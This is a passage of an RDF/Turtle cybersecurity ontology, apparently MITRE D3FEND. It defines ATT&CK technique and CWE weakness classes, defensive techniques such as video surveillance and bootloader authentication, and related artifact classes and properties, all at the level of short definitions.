    rdfs:subClassOf d3f:ResourceDevelopmentTechnique .

d3f:T1586 a owl:Class ;
    rdfs:label "Compromise Accounts" ;
    d3f:attack-id "T1586" ;
    d3f:definition "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona." ;
    rdfs:subClassOf d3f:ResourceDevelopmentTechnique .

d3f:T1589 a owl:Class ;
    rdfs:label "Gather Victim Identity Information" ;
    d3f:attack-id "T1589" ;
    d3f:definition "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations." ;
    rdfs:subClassOf d3f:ReconnaissanceTechnique .

d3f:T1593 a owl:Class ;
    rdfs:label "Search Open Websites/Domains" ;
    d3f:attack-id "T1593" ;
    d3f:definition "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)" ;
    rdfs:subClassOf d3f:ReconnaissanceTechnique .

d3f:T1595 a owl:Class ;
    rdfs:label "Active Scanning" ;
    d3f:attack-id "T1595" ;
    d3f:definition "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction." ;
    rdfs:subClassOf d3f:ReconnaissanceTechnique .

d3f:T1628 a owl:Class ;
    rdfs:label "Hide Artifacts - ATTACK Mobile" ;
    d3f:attack-id "T1628" ;
    d3f:definition "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Mobile operating systems have features and developer APIs to hide various artifacts, such as an application’s launcher icon. These APIs have legitimate usages, such as hiding an icon to avoid application drawer clutter when an application does not have a usable interface. Adversaries may abuse these features and APIs to hide artifacts from the user to evade detection." ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique ;
    skos:prefLabel "Hide Artifacts" .

d3f:T1629 a owl:Class ;
    rdfs:label "Impair Defenses - ATTACK Mobile" ;
    d3f:attack-id "T1629" ;
    d3f:definition "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may span both native defenses as well as supplemental capabilities installed by users or mobile endpoint administrators." ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique ;
    skos:prefLabel "Impair Defenses" .

d3f:T1630 a owl:Class ;
    rdfs:label "Indicator Removal on Host - ATTACK Mobile" ;
    d3f:attack-id "T1630" ;
    d3f:definition "Adversaries may delete, alter, or hide generated artifacts on a device, including files, jailbreak status, or the malicious application itself. These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of mobile security solutions by causing notable events or information to go unreported." ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique ;
    skos:prefLabel "Indicator Removal on Host" .

d3f:T1643 a owl:Class ;
    rdfs:label "Generate Traffic from Victim - ATTACK Mobile" ;
    d3f:attack-id "T1643" ;
    d3f:definition "Adversaries may generate outbound traffic from devices. This is typically performed to manipulate external outcomes, such as to achieve carrier billing fraud or to manipulate app store rankings or ratings. Outbound traffic is typically generated as SMS messages or general web traffic, but may take other forms as well." ;
    rdfs:subClassOf d3f:ATTACKMobileImpactTechnique ;
    skos:prefLabel "Generate Traffic from Victim" .

d3f:Transformer-basedLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Transformer-based Learning" ;
    d3f:d3fend-id "D3A-TBL" ;
    d3f:definition "A transformer is a deep learning model. It is distinguished by its adoption of self-attention, differentially weighting the significance of each part of the input (which includes the recursive output) data." ;
    d3f:kb-article """## References
"Transformer (machine learning model)." Wikipedia. [Link](https://en.wikipedia.org/wiki/Transformer_(machine_learning_model)).""" ;
    rdfs:subClassOf d3f:MachineLearning .

d3f:TunnelEvent a owl:Class ;
    rdfs:label "Tunnel Event" ;
    d3f:definition "An event involving the establishment, usage, or termination of a network tunnel. Tunnels provide encapsulated communication pathways across various layers, enabling secure, isolated, or virtualized transport of data." ;
    rdfs:subClassOf d3f:NetworkEvent .

d3f:UnsupervisedPreprocessing a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Unsupervised Preprocessing" ;
    d3f:d3fend-id "D3A-UP" ;
    d3f:definition "When performing unsupervised learning, the machine is presented with unlabeled data. (Unlabeled data has no target.) Unsupervised learning algorithms seek to discover intrinsic patterns that underlie the data, such as a clustering parameter or a redundant parameter (dimension) that can be reduced." ;
    d3f:kb-article """## References
SAS Institute Inc. (n.d.). Decision Trees. In SAS® Visual Data Mining and Machine Learning.[Link](https://documentation.sas.com/doc/en/vdmmlcdc/8.4/vdmmladvug/n1e4spzcnv1f0fn1vsxhbzgdp1bb.htm).""" ;
    rdfs:subClassOf d3f:Semi-SupervisedLearning .

d3f:UserAction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User Action" ;
    d3f:definition "An action performed by a user. Executing commands, granting permissions, and accessing resources are examples of user actions." ;
    d3f:records d3f:Action ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:records ;
            owl:someValuesFrom d3f:Action ],
        d3f:DigitalInformationBearer .

d3f:UserProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User Process" ;
    d3f:definition "A user process is a process running to perform functions in the name of on particular user and user account, such as run an application or application service serving any number users.  This is in contrast to a system process, which executes software to fulfill operating system functions." ;
    rdfs:subClassOf d3f:Process .

d3f:VideoInputDevice a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Video Input Device" ;
    d3f:definition "Video input devices are used to digitize images or video from the outside world into the computer. The information can be stored in a multitude of formats depending on the user's requirement." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Input_device#Video_input_devices> ;
    rdfs:subClassOf d3f:InputDevice .

d3f:VideoSurveillance a d3f:VideoSurveillance,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Video Surveillance" ;
    d3f:d3fend-id "D3-VS" ;
    d3f:definition "Monitoring of physical areas via camera video feeds to deter, detect, and investigate unauthorized access and related security events." ;
    d3f:kb-article """## How it works

Video surveillance uses digital cameras that stream to a video management system (VMS) or network video recorder (NVR) for live monitoring, recording, and retrieval. Recording can be continuous or event-driven using analytics (motion in regions of interest, line crossing) or external triggers (access denials, sensor alarms). Time synchronization aligns video with other logs, while health monitoring detects camera outages and tamper. Secure export workflows preserve integrity for investigations.

## Considerations

* Plan camera placement and coverage to avoid occlusions and handle challenging lighting; select lenses and mounting to capture entry points and critical areas.
* Size storage and bandwidth for the intended retention period by choosing appropriate resolution, frame rate, and compression, and monitor capacity over time.
* Secure cameras and management systems with unique credentials, timely firmware updates, encrypted transport, and network segmentation to limit exposure.
* Address privacy and legal obligations with visible notice, role-based access to footage, and retention policies aligned with regulations and organizational policy.
* Monitor system health and build resilience with tamper and heartbeat alerts, recorder failover where needed, and accurate time synchronization for correlation.""" ;
    d3f:kb-reference d3f:Reference-DHS-CCTV-Technology-Handbook,
        d3f:Reference-NIST-Special-Publication-800-53-Revision-5,
        d3f:Reference-ONVIF-ProfileS ;
    d3f:monitors d3f:DigitalCamera ;
    d3f:synonym "CCTV Surveillance",
        "Video Monitoring" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:DigitalCamera ],
        d3f:PhysicalAccessMonitoring .

d3f:VolumeSnapshot a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Volume Snapshot" ;
    d3f:definition "A volume snapshot is a point-in-time copy of a storage volume." ;
    rdfs:isDefinedBy <https://kubernetes-csi.github.io/docs/snapshot-restore-feature.html> ;
    rdfs:seeAlso <https://en.wikipedia.org/wiki/Shadow_Copy> ;
    rdfs:subClassOf d3f:StorageSnapshot .

d3f:WindowsRegistry a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows Registry" ;
    d3f:contains d3f:WindowsRegistryKey ;
    d3f:definition "The Windows Registry is a hierarchical database that stores low-level settings for the Microsoft Windows operating system and for applications that opt to use the registry. The kernel, device drivers, services, Security Accounts Manager, and user interface can all use the registry. The registry also allows access to counters for profiling system performance." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Windows_Registry>,
        <https://learn.microsoft.com/en-us/troubleshoot/windows-server/performance/windows-registry-advanced-users> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:WindowsRegistryKey ],
        d3f:SystemConfigurationDatabase .

d3f:WindowsRegistryValue a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows Registry Value" ;
    d3f:contained-by d3f:WindowsRegistryKey ;
    d3f:definition "A Windows Registry Value is a data structure consisting of a name, type, data (as a pointer), and the length. Windows Registry Values are always associated with a Windows Registry Key. They store the actual configuration data for the operating system and the programs that run on the system." ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/winreg/ns-winreg-valentw> ;
    rdfs:seeAlso <https://learn.microsoft.com/en-us/windows/win32/sysinfo/structure-of-the-registry>,
        <https://schema.ocsf.io/objects/registry_value> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contained-by ;
            owl:someValuesFrom d3f:WindowsRegistryKey ],
        [ a owl:Restriction ;
            owl:onProperty d3f:windows-registry-value ;
            owl:someValuesFrom xsd:string ],
        d3f:SystemConfigurationDatabaseRecord .

d3f:WindowsRegistryValueSetEvent a owl:Class ;
    rdfs:label "Windows Registry Value Set Event" ;
    d3f:definition "An event where data is assigned to a registry value, either creating it or updating its existing content." ;
    rdfs:subClassOf d3f:WindowsRegistryValueEvent .

d3f:carries a owl:ObjectProperty ;
    rdfs:label "carries" ;
    d3f:definition "x carries y: The entity x serves as the bearer or link for information y, enabling y to be stored, transported, or communicated such that y can be recovered or interpreted from x" ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:caused-by a owl:ObjectProperty ;
    rdfs:label "caused-by" ;
    d3f:definition "x caused-by y: The event or action x occurs as a consequence of event or action y." ;
    rdfs:isDefinedBy <https://www.commoncoreontologies.org/ont00001819> ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:causes .

d3f:connects a owl:ObjectProperty ;
    rdfs:label "connects" ;
    d3f:definition "x connects y: The subject x joins system y by means of communication equipment (to some other system, typically the adversary-targeted host)." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/01071413-v> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:controls a owl:ObjectProperty ;
    rdfs:label "controls" ;
    d3f:definition "x controls y: x directs or regulates y's operational state, behavior, or function." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:d3fend-display-annotation a owl:AnnotationProperty ;
    rdfs:label "d3fend-display-annotation" ;
    rdfs:subPropertyOf d3f:d3fend-annotation .

d3f:d3fend-external-control-data-property a owl:DatatypeProperty ;
    rdfs:label "d3fend-external-control-data-property" ;
    rdfs:subPropertyOf d3f:d3fend-data-property .

d3f:d3fend-kb-annotation-property a owl:AnnotationProperty ;
    rdfs:label "d3fend-kb-annotation-property" ;
    d3f:definition "x d3fend-kb-annotation-property y: The entity x had the d3fend kb annotation y." ;
    rdfs:subPropertyOf d3f:d3fend-annotation .

d3f:d3fend-kb-reference-annotation a owl:AnnotationProperty ;
    rdfs:label "d3fend-kb-reference-annotation" ;
    d3f:definition "x d3fend-kb-data-property y: The reference x has the data property y." ;
    rdfs:domain d3f:TechniqueReference ;
    rdfs:range xsd:string ;
    rdfs:subPropertyOf d3f:d3fend-kb-annotation-property .

d3f:d3fend-use-case-object-property a owl:ObjectProperty ;
    rdfs:subPropertyOf d3f:d3fend-object-property .

d3f:detects a owl:ObjectProperty ;
    rdfs:label "detects" ;
    d3f:definition "x detects y: The entity x discovers the presence, occurrence, or state of entity y through observation or measurement." ;
    rdfs:subPropertyOf d3f:counters,
        d3f:d3fend-tactical-verb-property .

d3f:encrypts a owl:ObjectProperty ;
    rdfs:label "encrypts" ;
    d3f:definition "x encrypts y: The entity x converts the ordinary representation of a digital artifact y into a secret code." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00996121-v> ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:hardens .

d3f:forges a owl:ObjectProperty ;
    rdfs:label "forges" ;
    d3f:definition "x forges y: An technique or agent x counterfeits a digital artifact y, such as a fake credential, with the intent to deceive." ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/01657814-v> ;
    rdfs:subPropertyOf d3f:creates .

d3f:has-dependent a owl:ObjectProperty ;
    rdfs:label "has-dependent" ;
    d3f:definition "x has-dependent y: The entity x is relied upon or required by entity y." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:interprets a owl:ObjectProperty ;
    rdfs:label "interprets" ;
    d3f:definition "x interprets y: The subject x interprets the executable script y. The sense of interprets is here 'Parse the source code and perform its behavior directly.'" ;
    rdfs:seeAlso <http://dbpedia.org/resource/Interpreter_(computing)> ;
    rdfs:subPropertyOf d3f:executes,
        d3f:may-interpret .

d3f:may-evict a owl:ObjectProperty ;
    rdfs:label "may-evict" ;
    d3f:pref-label "may evict" ;
    rdfs:subPropertyOf d3f:may-counter,
        d3f:may-counter-attack .

d3f:may-query a owl:ObjectProperty ;
    rdfs:label "may-query" ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:participates-in a owl:ObjectProperty ;
    rdfs:label "participates-in" ;
    d3f:definition "x participates-in y: The object x takes part in the event y, signifying that x contributes to or is affected by the event’s occurrence in some way." ;
    rdfs:isDefinedBy <http://purl.obolibrary.org/obo/BFO_0000056> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:process-property a owl:ObjectProperty ;
    rdfs:label "process-property" ;
    d3f:definition "x process-property y: Process x has the a process-property y.  This is generalization for specific process object properties." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:regenerates a owl:ObjectProperty ;
    rdfs:label "regenerates" ;
    d3f:definition "x regenerates y: The entity x discards the current digital artifact y and creates a new version that serves the same function." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00167632-v> ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:hardens .

d3f:suspends a owl:ObjectProperty ;
    rdfs:label "suspends" ;
    d3f:definition "x suspends y: The agent or technique x pauses entity y." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00543748-v> ;
    rdfs:subPropertyOf d3f:evicts .

d3f:ATLASAIModelAccessTechnique a owl:Class ;
    rdfs:label "AI Model Access Technique - ATLAS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:AML.TA0000 ],
        d3f:ATLASTechnique ;
    skos:prefLabel "AI Model Access Technique" .

d3f:ATLASCollectionTechnique a owl:Class ;
    rdfs:label "Collection Technique - ATLAS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:AML.TA0009 ],
        d3f:ATLASTechnique ;
    skos:prefLabel "Collection Technique" .

d3f:ATLASCredentialAccessTechnique a owl:Class ;
    rdfs:label "Credential Access Technique - ATLAS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:AML.TA0013 ],
        d3f:ATLASTechnique ;
    skos:prefLabel "Credential Access Technique" .

d3f:ATLASExecutionTechnique a owl:Class ;
    rdfs:label "Execution Technique - ATLAS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:AML.TA0005 ],
        d3f:ATLASTechnique ;
    skos:prefLabel "Execution Technique" .

d3f:ATTACKEnterpriseThing a owl:Class ;
    rdfs:label "ATTACK Enterprise Thing" ;
    rdfs:subClassOf d3f:ATTACKThing .

d3f:ATTACKThing a owl:Class ;
    rdfs:label "ATTACK Thing" ;
    d3f:definition "ATTACK things are concepts defined in the ATT&CK Framework." ;
    rdfs:subClassOf d3f:ExternalThreatModelThing .

d3f:AccessControlList a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Access Control List" ;
    d3f:definition "A list of permissions attached to an object." ;
    d3f:restricts d3f:UserGroup ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Access-control_list> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restricts ;
            owl:someValuesFrom d3f:UserGroup ],
        d3f:AccessControlConfiguration .

d3f:AdministrativeNetworkActivityAnalysis a d3f:AdministrativeNetworkActivityAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Administrative Network Activity Analysis" ;
    d3f:analyzes d3f:IntranetAdministrativeNetworkTraffic ;
    d3f:created "2020-08-05T00:00:00"^^xsd:dateTime ;
    d3f:d3fend-id "D3-ANAA" ;
    d3f:definition "Detection of unauthorized use of administrative network protocols by analyzing network activity against a baseline." ;
    d3f:kb-article """## How it works
Network protocols such as RDP, IPMI, SSH, SNMP, VNC, MOSH, NX, TeamViewer, SPICE, PCoIP, and others are used by system administrators to remotely manage servers. Defenders monitor administrative network activity to determine if the use of remote protocols is malicious. Attackers can abuse administrative protocols and leverage them for initial access to various endpoints. For example, an attacker with valid credentials will remotely SSH or RDP into a server and attempt to blend in with existing traffic from system administrators. By monitoring the traffic activity, it is possible to detect when the protocols are behaving differently from a known baseline of system administration activity.

## Considerations
* Administrative traffic can be encrypted, making network protocol analysis a challenge
* False alarms can be mitigated by integration with inventory management systems""" ;
    d3f:kb-reference d3f:Reference-MethodAndSystemForDetectingSuspiciousAdministrativeActivity_VectraNetworksInc,
        d3f:Reference-RemoteRegistry_MITRE,
        d3f:Reference-WindowsRemoteManagement_WinRM_MITRE ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:IntranetAdministrativeNetworkTraffic ],
        d3f:NetworkTrafficAnalysis .

d3f:AllocateMemory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Allocate Memory" ;
    d3f:creates d3f:MemoryBlock ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:MemoryBlock ],
        d3f:SystemCall .

d3f:ApplicationProtocolCommandAnalysis a d3f:ApplicationProtocolCommandAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Protocol Command Analysis" ;
    d3f:d3fend-id "D3-APCA" ;
    d3f:definition "Analyzing application protocol level remote commands to detect unauthorized activity." ;
    d3f:kb-article """## How it works
This technique requires the ability to parse application layer protocols to understand the commands being sent to a remote service. Signature-based or statistical analysis may be employed to identify unauthorized commands being sent. These commands can be observed by monitoring network traffic or application logs.""" ;
    d3f:kb-reference d3f:Reference-MethodAndApparatusForDetectingAnomaliesOfAnInfrastructureInANetwork,
        d3f:Reference-ProtocolBasedDetectionOfSuspiciousNetworkTraffic ;
    d3f:monitors d3f:NetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:NetworkTrafficAnalysis .

d3f:Attacker a owl:Class ;
    rdfs:label "Attacker" ;
    d3f:definition "An agent that attempts to exploit vulnerabilities to gain unauthorized access to data or systems." ;
    rdfs:subClassOf d3f:Agent .

d3f:AuthenticationFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Authentication Function" ;
    d3f:authenticates d3f:UserAccount ;
    d3f:definition "Authenticates a user account by verifying a presented credential." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:authenticates ;
            owl:someValuesFrom d3f:UserAccount ],
        d3f:Subroutine .

d3f:BootRecord a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Boot Record" ;
    d3f:definition "A d3f:Record which is an essential component of the early boot (system initialization) process." ;
    rdfs:subClassOf d3f:Record .

d3f:BootloaderAuthentication a d3f:BootloaderAuthentication,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bootloader Authentication" ;
    d3f:authenticates d3f:BootLoader ;
    d3f:d3fend-id "D3-BA" ;
    d3f:definition "Cryptographically authenticating the bootloader software before system boot." ;
    d3f:kb-reference d3f:Reference-UEFIPlatformInitialization-Specification ;
    d3f:synonym "Secure Boot" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:authenticates ;
            owl:someValuesFrom d3f:BootLoader ],
        d3f:PlatformHardening .

d3f:BrowserExtension a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Browser Extension" ;
    d3f:definition "A browser extension is a plug-in that extends the functionality of a web browser in some way. Some extensions are authored using web technologies such as HTML, JavaScript, and CSS. Browser extensions can change the user interface of the web browser without directly affecting viewable content of a web page; for example, by adding a \"toolbar.\"" ;
    d3f:extends d3f:Browser ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Browser_extension> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:extends ;
            owl:someValuesFrom d3f:Browser ],
        d3f:UserApplication .

d3f:BusNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bus Network Traffic" ;
    d3f:contains d3f:BusNetworkFrame ;
    d3f:definition "The ordered flow of frames, structured by a bus protocol, that traverses the shared bus medium during operation." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:BusNetworkFrame ],
        d3f:DigitalInformationBearer .

d3f:CWE-1023 a owl:Class ;
    rdfs:label "Incomplete Comparison with Missing Factors" ;
    d3f:cwe-id "CWE-1023" ;
    d3f:definition "The product performs a comparison between entities that must consider multiple factors or characteristics of each entity, but the comparison does not include one or more of these factors." ;
    rdfs:subClassOf d3f:CWE-697 .

d3f:CWE-1093 a owl:Class ;
    rdfs:label "Excessively Complex Data Representation" ;
    d3f:cwe-id "CWE-1093" ;
    d3f:definition "The product uses an unnecessarily complex internal representation for its data structures or interrelationships between those structures." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-1384 a owl:Class ;
    rdfs:label "Improper Handling of Physical or Environmental Conditions" ;
    d3f:cwe-id "CWE-1384" ;
    d3f:definition "The product does not properly handle unexpected physical or environmental conditions that occur naturally or are artificially induced." ;
    rdfs:subClassOf d3f:CWE-703 .

d3f:CWE-266 a owl:Class ;
    rdfs:label "Incorrect Privilege Assignment" ;
    d3f:cwe-id "CWE-266" ;
    d3f:definition "A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor." ;
    rdfs:subClassOf d3f:CWE-269 .

d3f:CWE-287 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Improper Authentication" ;
    d3f:cwe-id "CWE-287" ;
    d3f:definition "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct." ;
    d3f:synonym "AuthC",
        "AuthN",
        "authentification" ;
    d3f:weakness-of d3f:AuthenticationFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:AuthenticationFunction ],
        d3f:CWE-284 .

d3f:CWE-327 a owl:Class ;
    rdfs:label "Use of a Broken or Risky Cryptographic Algorithm" ;
    d3f:cwe-id "CWE-327" ;
    d3f:definition "The product uses a broken or risky cryptographic algorithm or protocol." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-36 a owl:Class ;
    rdfs:label "Absolute Path Traversal" ;
    d3f:cwe-id "CWE-36" ;
    d3f:definition "The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as \"/abs/path\" that can resolve to a location that is outside of that directory." ;
    rdfs:subClassOf d3f:CWE-22 .

d3f:CWE-435 a owl:Class ;
    rdfs:label "Improper Interaction Between Multiple Correctly-Behaving Entities" ;
    d3f:cwe-id "CWE-435" ;
    d3f:definition "An interaction error occurs when two entities have correct behavior when running independently of each other, but when they are integrated as components in a larger system or process, they introduce incorrect behaviors that may cause resultant weaknesses." ;
    d3f:synonym "Emergent Fault",
        "Interaction Error" ;
    rdfs:subClassOf d3f:Weakness .

d3f:CWE-471 a owl:Class ;
    rdfs:label "Modification of Assumed-Immutable Data (MAID)" ;
    d3f:cwe-id "CWE-471" ;
    d3f:definition "The product does not properly protect an assumed-immutable element from being modified by an attacker." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-506 a owl:Class ;
    rdfs:label "Embedded Malicious Code" ;
    d3f:cwe-id "CWE-506" ;
    d3f:definition "The product contains code that appears to be malicious in nature." ;
    rdfs:subClassOf d3f:CWE-912 .

d3f:CWE-704 a owl:Class ;
    rdfs:label "Incorrect Type Conversion or Cast" ;
    d3f:cwe-id "CWE-704" ;
    d3f:definition "The product does not correctly convert an object, resource, or structure from one type to a different type." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-821 a owl:Class ;
    rdfs:label "Incorrect Synchronization" ;
    d3f:cwe-id "CWE-821" ;
    d3f:definition "The product utilizes a shared resource in a concurrent manner, but it does not correctly synchronize access to the resource." ;
    rdfs:subClassOf d3f:CWE-662 .

d3f:CWE-862 a owl:Class ;
    rdfs:label "Missing Authorization" ;
    d3f:cwe-id "CWE-862" ;
    d3f:definition "The product does not perform an authorization check when an actor attempts to access a resource or perform an action." ;
    d3f:synonym "AuthZ" ;
    rdfs:comment "Broad and could apply to all resource accesses." ;
    rdfs:subClassOf d3f:CWE-285 .

d3f:CWE-943 a owl:Class ;
    rdfs:label "Improper Neutralization of Special Elements in Data Query Logic" ;
    d3f:cwe-id "CWE-943" ;
    d3f:definition "The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query." ;
    d3f:synonym "NoSQL Injection, NoSQLi" ;
    rdfs:subClassOf d3f:CWE-74 .

d3f:CacheMemory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Processor Cache Memory" ;
    d3f:accessed-by d3f:CentralProcessingUnit ;
    d3f:definition "Cache memory is temporary storage that is more readily available to the processor than the computer's main memory source, located between the main memory and the processor.  It is typically either integrated directly into the CPU chip (level 1 cache) or placed on a separate chip with a bus interconnect with the CPU (level 2 cache)." ;
    d3f:may-contain d3f:ProcessSegment ;
    d3f:modifies d3f:CacheMemory ;
    rdfs:isDefinedBy <https://whatis.techtarget.com/definition/memory> ;
    rdfs:seeAlso <https://dbpedia.org/page/CPU_cache> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:CacheMemory ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:ProcessSegment ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accessed-by ;
            owl:someValuesFrom d3f:CentralProcessingUnit ],
        d3f:PrimaryStorage .

d3f:CentralProcessingUnit a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Central Processing Unit" ;
    d3f:contains d3f:ProcessorRegister ;
    d3f:definition "A central processing unit (CPU), also called a central processor, main processor or just processor, is the electronic circuitry that executes instructions comprising a computer program. The CPU performs basic arithmetic, logic, controlling, and input/output (I/O) operations specified by the instructions in the program. This contrasts with external components such as main memory and I/O circuitry, and specialized processors such as graphics" ;
    d3f:may-contain d3f:CacheMemory,
        d3f:MemoryManagementUnit,
        d3f:MemoryProtectionUnit ;
    d3f:synonym "CPU",
        "Central Processor",
        "Main Processor" ;
    rdfs:isDefinedBy <https://en.wikipedia.org/wiki/Central_processing_unit> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:CacheMemory ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:ProcessorRegister ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:MemoryProtectionUnit ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:MemoryManagementUnit ],
        d3f:Processor .

d3f:ChangeDefaultPassword a d3f:ChangeDefaultPassword,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Change Default Password" ;
    d3f:d3fend-id "D3-CDP" ;
    d3f:definition "Changing the default password means replacing the factory-set credentials with a strong, unique password before the device is deployed, preventing unauthorized access." ;
    d3f:hardens d3f:OTController ;
    d3f:kb-article """## How it works
Change the default password as soon as a new device is received. The default credentials are normally documented in an instruction manual that is either packaged with the device, published online through official means, or published online through unofficial means.

## Considerations
* These should be changed before a device is brought online so that an adversary cannot take advantage of these default credentials.
* Strong and complex passwords are preferred if the technology allows.""" ;
    d3f:kb-reference d3f:Reference-CPGChecklist,
        d3f:Reference-GuideToOTSecurity,
        d3f:Reference-MITREATTACKPasswordPolicies ;
    d3f:strengthens d3f:Password,
        d3f:UserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:hardens ;
            owl:someValuesFrom d3f:OTController ],
        [ a owl:Restriction ;
            owl:onProperty d3f:strengthens ;
            owl:someValuesFrom d3f:UserAccount ],
        [ a owl:Restriction ;
            owl:onProperty d3f:strengthens ;
            owl:someValuesFrom d3f:Password ],
        d3f:StrongPasswordPolicy .

d3f:CompilerConfigurationFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Compiler Configuration File" ;
